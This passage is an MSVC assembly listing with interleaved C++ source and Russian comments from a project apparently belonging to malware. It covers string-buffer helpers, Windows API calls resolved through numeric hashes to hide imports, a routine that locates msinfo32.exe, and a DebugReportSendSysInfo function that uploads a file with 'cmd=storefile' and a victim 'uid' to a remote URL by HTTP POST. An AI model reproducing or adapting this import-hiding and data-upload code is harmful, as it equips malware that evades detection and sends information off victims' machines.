PTR _a8$[ebp] 0001f ff 75 20 push DWORD PTR _a7$[ebp] 00022 ff 75 1c push DWORD PTR _a6$[ebp] 00025 ff 75 18 push DWORD PTR _a5$[ebp] 00028 ff 75 14 push DWORD PTR _a4$[ebp] 0002b ff 75 10 push DWORD PTR _a3$[ebp] 0002e ff 75 0c push DWORD PTR _a2$[ebp] 00031 ff 75 08 push DWORD PTR _a1$[ebp] 00034 ff d0 call eax ; 167 : } 00036 5d pop ebp 00037 c3 ret 0 ??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *> _TEXT ENDS PUBLIC ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z ; pushargEx<1,759216358,130,char *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z PROC ; pushargEx<1,759216358,130,char *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 82 00 00 00 push 130 ; 00000082H 00005 68 e6 b8 40 2d push 759216358 ; 2d40b8e6H 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00016 ff 74 24 04 push DWORD PTR _a1$[esp-4] 0001a ff d0 call eax ; 103 : } 0001c c3 ret 0 ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z ENDP ; pushargEx<1,759216358,130,char *> _TEXT ENDS PUBLIC ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z PROC ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>, COMDAT ; 139 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 140 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F); ; 141 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 68 dc 00 00 00 push 220 ; 000000dcH 00008 68 c0 0f 40 3e push 1044385728 ; 3e400fc0H 0000d 6a 02 push 2 0000f 6a 00 push 0 00011 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00016 83 c4 10 add esp, 16 ; 00000010H ; 142 : return func(a1, a2, a3, a4, a5, a6); 00019 ff 75 1c push DWORD PTR _a6$[ebp] 0001c ff 75 18 push DWORD PTR _a5$[ebp] 0001f ff 75 14 push DWORD PTR _a4$[ebp] 00022 ff 75 10 push DWORD PTR _a3$[ebp] 00025 ff 75 0c push DWORD PTR _a2$[ebp] 00028 ff 75 08 push DWORD PTR _a1$[ebp] 0002b ff d0 call eax ; 143 : } 0002d 5d pop ebp 0002e c3 ret 0 ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ENDP ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long> _TEXT ENDS PUBLIC ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS::IsEmpty ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp ; COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC ; STRUTILS::IsEmpty, COMDAT ; 20 : return Str == NULL || *Str == 0; 00000 8b 44 24 04 mov eax, DWORD PTR _Str$[esp-4] 00004 85 c0 test eax, eax 00006 74 08 je SHORT $LN3@IsEmpty 00008 80 38 00 cmp BYTE PTR [eax], 0 0000b 74 03 je SHORT $LN3@IsEmpty 0000d 33 c0 xor eax, eax ; 21 : } 0000f c3 ret 0 $LN3@IsEmpty: ; 20 : return Str == NULL || *Str == 0; 00010 33 c0 xor eax, eax 00012 40 inc eax ; 21 : } 00013 c3 ret 0 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP ; STRUTILS::IsEmpty _TEXT ENDS PUBLIC ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc ; Function compile flags: /Ogspy ; COMDAT ??$Alloc@D@STRBUF@@YAPADK@Z _TEXT SEGMENT _Size$ = 8 ; size = 4 ??$Alloc@D@STRBUF@@YAPADK@Z PROC ; STRBUF::Alloc, COMDAT ; 379 : // Функция создаёт строку размером Size символов ; 380 : // Длина строки устанавливается нулевой ; 381 : if (Size == 0) return NULL; 00000 8b 44 24 04 mov eax, DWORD PTR _Size$[esp-4] 00004 85 c0 test eax, eax 00006 75 01 jne SHORT $LN2@Alloc ; 396 : return (TChar*)Buf; ; 397 : } 00008 c3 ret 0 $LN2@Alloc: ; 382 : ; 383 : #ifdef USE_BLOCKS_STRINGS ; 384 : Size = ((Size / STRING_BLOCK_SIZE) + 1) * STRING_BLOCK_SIZE; 00009 c1 e8 05 shr eax, 5 0000c 40 inc eax 0000d c1 e0 05 shl eax, 5 00010 56 push esi 00011 8b f0 mov esi, eax ; 385 : #endif ; 386 : ; 387 : DWORD BufSize = (Size + 1) * sizeof(TChar) + sizeof(TStrRec); 00013 8d 46 0d lea eax, DWORD PTR [esi+13] ; 388 : TStrRec* Buf = (TStrRec*)HEAP::Alloc(BufSize); 00016 50 push eax 00017 e8 00 00 00 00 call ?Alloc@HEAP@@YAPAXK@Z ; HEAP::Alloc 0001c 59 pop ecx ; 389 : if (Buf == NULL) return NULL; 0001d 85 c0 test eax, eax 0001f 75 02 jne SHORT $LN1@Alloc 00021 5e pop esi ; 396 : return (TChar*)Buf; ; 397 : } 00022 c3 ret 0 $LN1@Alloc: ; 390 : ; 391 : Buf->Size = Size; ; 392 : Buf->Length = 0; 00023 83 60 04 00 and DWORD PTR [eax+4], 0 00027 89 30 mov DWORD PTR [eax], esi ; 393 : Buf->RefCount = 1; 00029 c7 40 08 01 00 00 00 mov DWORD PTR [eax+8], 1 ; 394 : ; 395 : Buf++; 00030 83 c0 0c add eax, 12 ; 0000000cH 00033 5e pop esi ; 396 : return (TChar*)Buf; ; 397 : } 00034 c3 ret 0 ??$Alloc@D@STRBUF@@YAPADK@Z ENDP ; STRBUF::Alloc _TEXT ENDS PUBLIC ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ; STRBUF::GetRec ; Function compile flags: /Ogspy ; COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC ; STRBUF::GetRec, COMDAT ; 442 : // Функция возвращает переменную зоголовок строки ; 443 : TStrRec* R = (TStrRec*)Str; ; 444 : return R[-1]; 00000 8b 44 24 04 mov eax, DWORD PTR _Str$[esp-4] 00004 83 c0 f4 add eax, -12 ; fffffff4H ; 445 : } 00007 c3 ret 0 ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP ; STRBUF::GetRec _TEXT ENDS PUBLIC ?DbgRptSprintfA@@YAXPADPBDZZ ; DbgRptSprintfA ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp ; COMDAT ?DbgRptSprintfA@@YAXPADPBDZZ _TEXT SEGMENT _buffer$ = 8 ; size = 4 _format$ = 12 ; size = 4 ?DbgRptSprintfA@@YAXPADPBDZZ PROC ; DbgRptSprintfA, COMDAT ; 402 : va_list ptr; ; 403 : va_start(ptr, format); ; 404 : pwvsprintfA(buffer, format, ptr); 00000 8d 44 24 0c lea eax, DWORD PTR _format$[esp] 00004 50 push eax 00005 ff 74 24 0c push DWORD PTR _format$[esp] 00009 ff 74 24 0c push DWORD PTR _buffer$[esp+4] 0000d e8 00 00 00 00 call ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *> 00012 83 c4 0c add esp, 12 ; 0000000cH ; 405 : va_end(ptr); ; 406 : } 00015 c3 ret 0 ?DbgRptSprintfA@@YAXPADPBDZZ ENDP ; DbgRptSprintfA _TEXT ENDS PUBLIC ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ ; `string' PUBLIC ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ ; `string' PUBLIC ??_C@_01KICIPPFI@?2?$AA@ ; `string' PUBLIC ?GetPathToMsInfo32@@YAPADXZ ; GetPathToMsInfo32 EXTRN ?m_lstrcat@@YGXPADPBD@Z:PROC ; m_lstrcat EXTRN ?Length@STR@@YAKPAD@Z:PROC ; STR::Length EXTRN ?Alloc@STR@@YAPADK@Z:PROC ; STR::Alloc EXTRN ?m_memset@@YAXPBXEI@Z:PROC ; m_memset ; COMDAT ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ CONST SEGMENT ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ DB 'msinfo32.exe', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ CONST SEGMENT ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ DB '\Common Fil' DB 'es\Microsoft Shared\MSInfo\', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01KICIPPFI@?2?$AA@ CONST SEGMENT ??_C@_01KICIPPFI@?2?$AA@ DB '\', 00H ; `string' ; Function compile flags: /Ogspy CONST ENDS ; COMDAT ?GetPathToMsInfo32@@YAPADXZ _TEXT SEGMENT _ver$ = -160 ; size = 156 _PathSuffix$ = -4 ; size = 4 ?GetPathToMsInfo32@@YAPADXZ PROC ; GetPathToMsInfo32, COMDAT ; 553 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 81 ec a0 00 00 00 sub esp, 160 ; 000000a0H 00009 53 push ebx 0000a 56 push esi ; 554 : int FolderId = CSIDL_SYSTEM; 0000b 6a 25 push 37 ; 00000025H 0000d 5b pop ebx ; 555 : const char* PathSuffix = "\\"; ; 556 : ; 557 : OSVERSIONINFOEXA ver; ; 558 : ; 559 : m_memset(&ver, 0, sizeof(ver)); 0000e 8d 73 77 lea esi, DWORD PTR [ebx+119] 00011 56 push esi 00012 8d 85 60 ff ff ff lea eax, DWORD PTR _ver$[ebp] 00018 6a 00 push 0 0001a 50 push eax 0001b c7 45 fc 00 00 00 00 mov DWORD PTR _PathSuffix$[ebp], OFFSET ??_C@_01KICIPPFI@?2?$AA@ 00022 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 560 : ver.dwOSVersionInfoSize = sizeof(ver); ; 561 : ; 562 : if (!(BOOL)pGetVersionExA(&ver)) return NULL; 00027 8d 85 60 ff ff ff lea eax, DWORD PTR _ver$[ebp] 0002d 50 push eax 0002e 89 b5 60 ff ff ff mov DWORD PTR _ver$[ebp], esi 00034 e8 00 00 00 00 call ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *> 00039 83 c4 10 add esp, 16 ; 00000010H 0003c 85 c0 test eax, eax 0003e 74 52 je SHORT $LN3@GetPathToM $LN2@GetPathToM: ; 563 : ; 564 : if (ver.dwMajorVersion == 5) 00040 83 bd 64 ff ff ff 05 cmp DWORD PTR _ver$[ebp+4], 5 00047 75 0a jne SHORT $LN1@GetPathToM ; 565 : { ; 566 : FolderId = CSIDL_PROGRAM_FILES; 00049 6a 26 push 38 ; 00000026H 0004b 5b pop ebx ; 567 : PathSuffix = "\\Common Files\\Microsoft Shared\\MSInfo\\"; 0004c c7 45 fc 00 00 00 00 mov DWORD PTR _PathSuffix$[ebp], OFFSET ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ $LN1@GetPathToM: ; 568 : } ; 569 : ; 570 : PCHAR Path = STR::Alloc(2 * MAX_PATH); 00053 68 08 02 00 00 push 520 ; 00000208H 00058 e8 00 00 00 00 call ?Alloc@STR@@YAPADK@Z ; STR::Alloc 0005d 8b f0 mov esi, eax ; 571 : m_memset(Path, 0, STR::Length(Path)); 0005f 56 push esi 00060 e8 00 00 00 00 call ?Length@STR@@YAKPAD@Z ; STR::Length 00065 50 push eax 00066 6a 00 push 0 00068 56 push esi 00069 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 572 : ; 573 : pSHGetSpecialFolderPathA(NULL, Path, FolderId, false); 0006e 6a 00 push 0 00070 53 push ebx 00071 56 push esi 00072 6a 00 push 0 00074 e8 00 00 00 00 call ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ; pushargEx<7,3378349392,448,int,char *,int,bool> 00079 83 c4 24 add esp, 36 ; 00000024H ; 574 : m_lstrcat(Path, PathSuffix); 0007c ff 75 fc push DWORD PTR _PathSuffix$[ebp] 0007f 56 push esi 00080 e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 575 : m_lstrcat(Path, "msinfo32.exe"); 00085 68 00 00 00 00 push OFFSET ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ 0008a 56 push esi 0008b e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 576 : ; 577 : return Path; 00090 8b c6 mov eax, esi $LN3@GetPathToM: 00092 5e pop esi 00093 5b pop ebx ; 578 : } 00094 c9 leave 00095 c3 ret 0 ?GetPathToMsInfo32@@YAPADXZ ENDP ; GetPathToMsInfo32 _TEXT ENDS PUBLIC ??_C@_03HOKODIMJ@rep?$AA@ ; `string' PUBLIC ??_C@_01HNPIGOCE@?$CG?$AA@ ; `string' PUBLIC ??_C@_03MEMNCOEB@uid?$AA@ ; `string' PUBLIC ??_C@_03LGLGIONO@cmd?$AA@ ; `string' PUBLIC ??_C@_09IPFKEBPF@storefile?$AA@ ; `string' PUBLIC ?DebugReportSendSysInfo@@YAXPAD00@Z ; DebugReportSendSysInfo EXTRN ?Free@Strings@@YAXPAX@Z:PROC ; Strings::Free EXTRN ?Free@MultiPartData@@YAXPAUTMultiPartDataRec@@@Z:PROC ; MultiPartData::Free EXTRN ?Post@HTTP@@YA_NPADPAUTMultiPartDataRec@@PAPADPAUTHTTPResponseRec@@@Z:PROC ; HTTP::Post EXTRN ?AddFileField@MultiPartData@@YAPAUTMultiPartItem@@PAUTMultiPartDataRec@@PAD11@Z:PROC ; MultiPartData::AddFileField EXTRN ?Create@MultiPartData@@YAPAUTMultiPartDataRec@@XZ:PROC ; MultiPartData::Create EXTRN ?New@STR@@YAPADKPADZZ:PROC ; STR::New EXTRN ?GetText@Strings@@YAPADPAXPAD@Z:PROC ; Strings::GetText EXTRN ?AddURLParam@@YAXPAXPAD1K@Z:PROC ; AddURLParam EXTRN ?Create@Strings@@YAPAXXZ:PROC ; Strings::Create ; COMDAT ??_C@_03HOKODIMJ@rep?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_03HOKODIMJ@rep?$AA@ DB 'rep', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01HNPIGOCE@?$CG?$AA@ CONST SEGMENT ??_C@_01HNPIGOCE@?$CG?$AA@ DB '&', 00H ; `string' CONST ENDS ; COMDAT ??_C@_03MEMNCOEB@uid?$AA@ CONST SEGMENT ??_C@_03MEMNCOEB@uid?$AA@ DB 'uid', 00H ; `string' CONST ENDS ; COMDAT ??_C@_03LGLGIONO@cmd?$AA@ CONST SEGMENT ??_C@_03LGLGIONO@cmd?$AA@ DB 'cmd', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09IPFKEBPF@storefile?$AA@ CONST SEGMENT ??_C@_09IPFKEBPF@storefile?$AA@ DB 'storefile', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportSendSysInfo@@YAXPAD00@Z _TEXT SEGMENT _Params$ = -12 ; size = 4 _URL$ = -8 ; size = 4 _Buffer$ = -4 ; size = 4 _uid$ = 8 ; size = 4 _url$ = 12 ; size = 4 _path$ = 16 ; size = 4 ?DebugReportSendSysInfo@@YAXPAD00@Z PROC ; DebugReportSendSysInfo, COMDAT ; 581 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 0c sub esp, 12 ; 0000000cH 00006 53 push ebx 00007 56 push esi 00008 57 push edi ; 582 : PStrings Fields = Strings::Create(); 00009 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 583 : AddURLParam(Fields, "cmd", "storefile"); 0000e 33 ff xor edi, edi 00010 57 push edi 00011 68 00 00 00 00 push OFFSET ??_C@_09IPFKEBPF@storefile?$AA@ 00016 8b f0 mov esi, eax 00018 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 0001d 56 push esi 0001e e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 584 : AddURLParam(Fields, "uid", (PCHAR)uid); 00023 57 push edi 00024 ff 75 08 push DWORD PTR _uid$[ebp] 00027 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 0002c 56 push esi 0002d e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 585 : ; 586 : PCHAR Params = Strings::GetText(Fields, "&"); 00032 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 00037 56 push esi 00038 e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 587 : PCHAR URL = STR::New(2, url, Params); 0003d 50 push eax 0003e ff 75 0c push DWORD PTR _url$[ebp] 00041 89 45 f4 mov DWORD PTR _Params$[ebp], eax 00044 6a 02 push 2 00046 e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New 0004b 89 45 f8 mov DWORD PTR _URL$[ebp], eax ; 588 : ; 589 : DBGRPTDBG("DebugReportSendSysInfo", "sending url='%s'", URL); ; 590 : ; 591 : PMultiPartData Data = MultiPartData::Create(); 0004e e8 00 00 00 00 call ?Create@MultiPartData@@YAPAUTMultiPartDataRec@@XZ ; MultiPartData::Create ; 592 : ; 593 : MultiPartData::AddFileField(Data, "rep", path, NULL); 00053 57 push edi 00054 ff 75 10 push DWORD PTR _path$[ebp] 00057 8b d8 mov ebx, eax 00059 68 00 00 00 00 push OFFSET ??_C@_03HOKODIMJ@rep?$AA@ 0005e 53 push ebx 0005f e8 00 00 00 00 call ?AddFileField@MultiPartData@@YAPAUTMultiPartItem@@PAUTMultiPartDataRec@@PAD11@Z ; MultiPartData::AddFileField 00064 83 c4 44 add esp, 68 ; 00000044H ; 594 : PCHAR Buffer = NULL; ; 595 : bool Result = HTTP::Post(URL, Data, &Buffer, NULL); 00067 57 push edi 00068 8d 45 fc lea eax, DWORD PTR _Buffer$[ebp] 0006b 50 push eax 0006c 53 push ebx 0006d ff 75 f8 push DWORD PTR _URL$[ebp] 00070 89 7d fc mov DWORD PTR _Buffer$[ebp], edi 00073 e8 00 00 00 00 call ?Post@HTTP@@YA_NPADPAUTMultiPartDataRec@@PAPADPAUTHTTPResponseRec@@@Z ; HTTP::Post ; 596 : ; 597 : DBGRPTDBG("DebugReportSendSysInfo", "HTTP::Post() result %d", Result); ; 598 : ; 599 : STR::Free(Buffer); 00078 ff 75 fc push DWORD PTR _Buffer$[ebp] 0007b e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 600 : MultiPartData::Free(Data); 00080 53 push ebx 00081 e8 00 00 00 00 call ?Free@MultiPartData@@YAXPAUTMultiPartDataRec@@@Z ; MultiPartData::Free ; 601 : STR::Free(URL); 00086 ff 75 f8 push DWORD PTR _URL$[ebp] 00089 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 602 : STR::Free(Params); 0008e ff 75 f4 push DWORD PTR _Params$[ebp] 00091 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 603 : Strings::Free(Fields); 00096 56 push esi 00097 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free 0009c 83 c4 24 add esp, 36 ; 00000024H 0009f 5f pop edi 000a0 5e pop esi 000a1 5b pop ebx ; 604 : } 000a2 c9 leave 000a3 c3 ret 0 ?DebugReportSendSysInfo@@YAXPAD00@Z ENDP ; DebugReportSendSysInfo _TEXT ENDS PUBLIC ?IsEmpty@?$TString@D@@QBE_NXZ ; TString::IsEmpty ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp ; COMDAT ?IsEmpty@?$TString@D@@QBE_NXZ _TEXT SEGMENT ?IsEmpty@?$TString@D@@QBE_NXZ PROC ; TString::IsEmpty, COMDAT ; _this$ = ecx ; 695 : return STRUTILS::IsEmpty(Data); 00000 ff 71 04 push DWORD PTR [ecx+4] 00003 e8 00 00 00 00 call ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS::IsEmpty 00008 59 pop ecx ; 696 : } 00009 c3 ret 0 ?IsEmpty@?$TString@D@@QBE_NXZ ENDP ; TString::IsEmpty _TEXT ENDS PUBLIC ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr EXTRN ?m_memcpy@@YAPAXPAXPBXH@Z:PROC ; m_memcpy ; Function compile flags: /Ogspy ; COMDAT ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 _StrLen$ = 12 ; size = 4 _ResultStrSize$ = 16 ; size = 4 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z PROC ; STRBUF::CreateFromStr, COMDAT ; 457 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 458 : // Создаёт строку на основе исходной строки ; 459 : if (STRUTILS::IsEmpty(Str)) 00003 ff 75 08 push DWORD PTR _Str$[ebp] 00006 e8 00 00 00 00 call ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS::IsEmpty 0000b 59 pop ecx 0000c 84 c0 test al, al 0000e 74 04 je SHORT $LN3@CreateFrom ; 460 : return NULL; 00010 33 c0 xor eax, eax ; 474 : } 00012 5d pop ebp 00013 c3 ret 0 $LN3@CreateFrom: 00014 56 push esi 00015 57 push edi ; 461 : ; 462 : if (StrLen == 0) 00016 8b 7d 0c mov edi, DWORD PTR _StrLen$[ebp] 00019 85 ff test edi, edi 0001b 75 0b jne SHORT $LN2@CreateFrom ; 463 : StrLen = STRUTILS::Length(Str); 0001d ff 75 08 push DWORD PTR _Str$[ebp] 00020 e8 00 00 00 00 call ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS::Length 00025 59 pop ecx 00026 8b f8 mov edi, eax $LN2@CreateFrom: ; 464 : ; 465 : DWORD ResSize = Max(StrLen, ResultStrSize); 00028 8b 45 10 mov eax, DWORD PTR _ResultStrSize$[ebp] 0002b 3b f8 cmp edi, eax 0002d 76 02 jbe SHORT $LN6@CreateFrom 0002f 8b c7 mov eax, edi $LN6@CreateFrom: ; 466 : TChar* Result = Alloc(ResSize); 00031 50 push eax 00032 e8 00 00 00 00 call ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc 00037 8b f0 mov esi, eax 00039 59 pop ecx ; 467 : if (Result) 0003a 85 f6 test esi, esi 0003c 74 10 je SHORT $LN1@CreateFrom ; 468 : { ; 469 : // Копируем данные строки ; 470 : m_memcpy(Result, Str, StrLen * sizeof(TChar)); 0003e 57 push edi 0003f ff 75 08 push DWORD PTR _Str$[ebp] 00042 56 push esi 00043 e8 00 00 00 00 call ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy 00048 83 c4 0c add esp, 12 ; 0000000cH ; 471 : GetRec(Result).Length = StrLen; 0004b 89 7e f8 mov DWORD PTR [esi-8], edi $LN1@CreateFrom: 0004e 5f pop edi ; 472 : } ; 473 : return Result; 0004f 8b c6 mov eax, esi 00051 5e pop esi ; 474 : } 00052 5d pop ebp 00053 c3 ret 0 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ENDP ; STRBUF::CreateFromStr _TEXT ENDS PUBLIC ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef ; Function compile flags: /Ogspy ; COMDAT ??$AddRef@D@STRBUF@@YAPADPAD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ??$AddRef@D@STRBUF@@YAPADPAD@Z PROC ; STRBUF::AddRef, COMDAT ; 417 : // Функция увеличивает счётчик ссылок строки и возвращает указатель на неё ; 418 : if (Str) 00000 8b 44 24 04 mov eax, DWORD PTR _Str$[esp-4] 00004 85 c0 test eax, eax 00006 74 03 je SHORT $LN1@AddRef ; 419 : GetRec(Str).RefCount++; 00008 ff 40 fc inc DWORD PTR [eax-4] $LN1@AddRef: ; 420 : return Str; ; 421 : } 0000b c3 ret 0 ??$AddRef@D@STRBUF@@YAPADPAD@Z ENDP ; STRBUF::AddRef _TEXT ENDS PUBLIC ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release ; Function compile flags: /Ogspy ; COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ??$Release@D@STRBUF@@YAXAAPAD@Z PROC ; STRBUF::Release, COMDAT ; 401 : { 00000 56 push esi ; 402 : // Функция уменьшает счётчик ссылок и, при необходимости, уничтожает строку ; 403 : if (Str) 00001 8b 74 24 08 mov esi, DWORD PTR _Str$[esp] 00005 8b 06 mov eax, DWORD PTR [esi] 00007 85 c0 test eax, eax 00009 74 12 je SHORT $LN2@Release ; 404 : { ; 405 : TStrRec &R = GetRec(Str); 0000b 83 c0 f4 add eax, -12 ; fffffff4H ; 406 : R.RefCount--; 0000e ff 48 08 dec DWORD PTR [eax+8] ; 407 : if (R.RefCount == 0) 00011 75 07 jne SHORT $LN1@Release ; 408 : HEAP::Free(&R); 00013 50 push eax 00014 e8 00 00 00 00 call ?Free@HEAP@@YAXPAX@Z ; HEAP::Free 00019 59 pop ecx $LN1@Release: ; 409 : Str = NULL; 0001a 83 26 00 and DWORD PTR [esi], 0 $LN2@Release: 0001d 5e pop esi ; 410 : } ; 411 : } 0001e c3 ret 0 ??$Release@D@STRBUF@@YAXAAPAD@Z ENDP ; STRBUF::Release _TEXT ENDS PUBLIC ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length ; Function compile flags: /Ogspy ; COMDAT ??$Length@D@STRBUF@@YAKPAD@Z _TEXT SEGMENT _Str$ = 8 ; size = 4 ??$Length@D@STRBUF@@YAKPAD@Z PROC ; STRBUF::Length, COMDAT ; 451 : return (Str)? GetRec(Str).Length : 0; 00000 8b 44 24 04 mov eax, DWORD PTR _Str$[esp-4] 00004 85 c0 test eax, eax 00006 74 04 je SHORT $LN3@Length@2 00008 8b 40 f8 mov eax, DWORD PTR [eax-8] ; 452 : } 0000b c3 ret 0 $LN3@Length@2: ; 451 : return (Str)? GetRec(Str).Length : 0; 0000c 33 c0 xor eax, eax ; 452 : } 0000e c3 ret 0 ??$Length@D@STRBUF@@YAKPAD@Z ENDP ; STRBUF::Length _TEXT ENDS PUBLIC ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append ; Function compile flags: /Ogspy ; COMDAT ??$Append@D@STRBUF@@YAXAAPADPBDK@Z _TEXT SEGMENT _Tmp$92314 = -4 ; size = 4 _Dst$ = 8 ; size = 4 _Src$ = 12 ; size = 4 _SrcLen$ = 16 ; size = 4 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z PROC ; STRBUF::Append, COMDAT ; 479 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 51 push ecx ; 480 : // Функция добавляет к строке Dst строку Src ; 481 : if (STRUTILS::IsEmpty(Src)) 00004 ff 75 0c push DWORD PTR _Src$[ebp] 00007 e8 00 00 00 00 call ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS::IsEmpty 0000c 59 pop ecx 0000d 84 c0 test al, al 0000f 0f 85 84 00 00 00 jne $LN1@Append 00015 57 push edi ; 482 : return; ; 483 : ; 484 : ; 485 : if 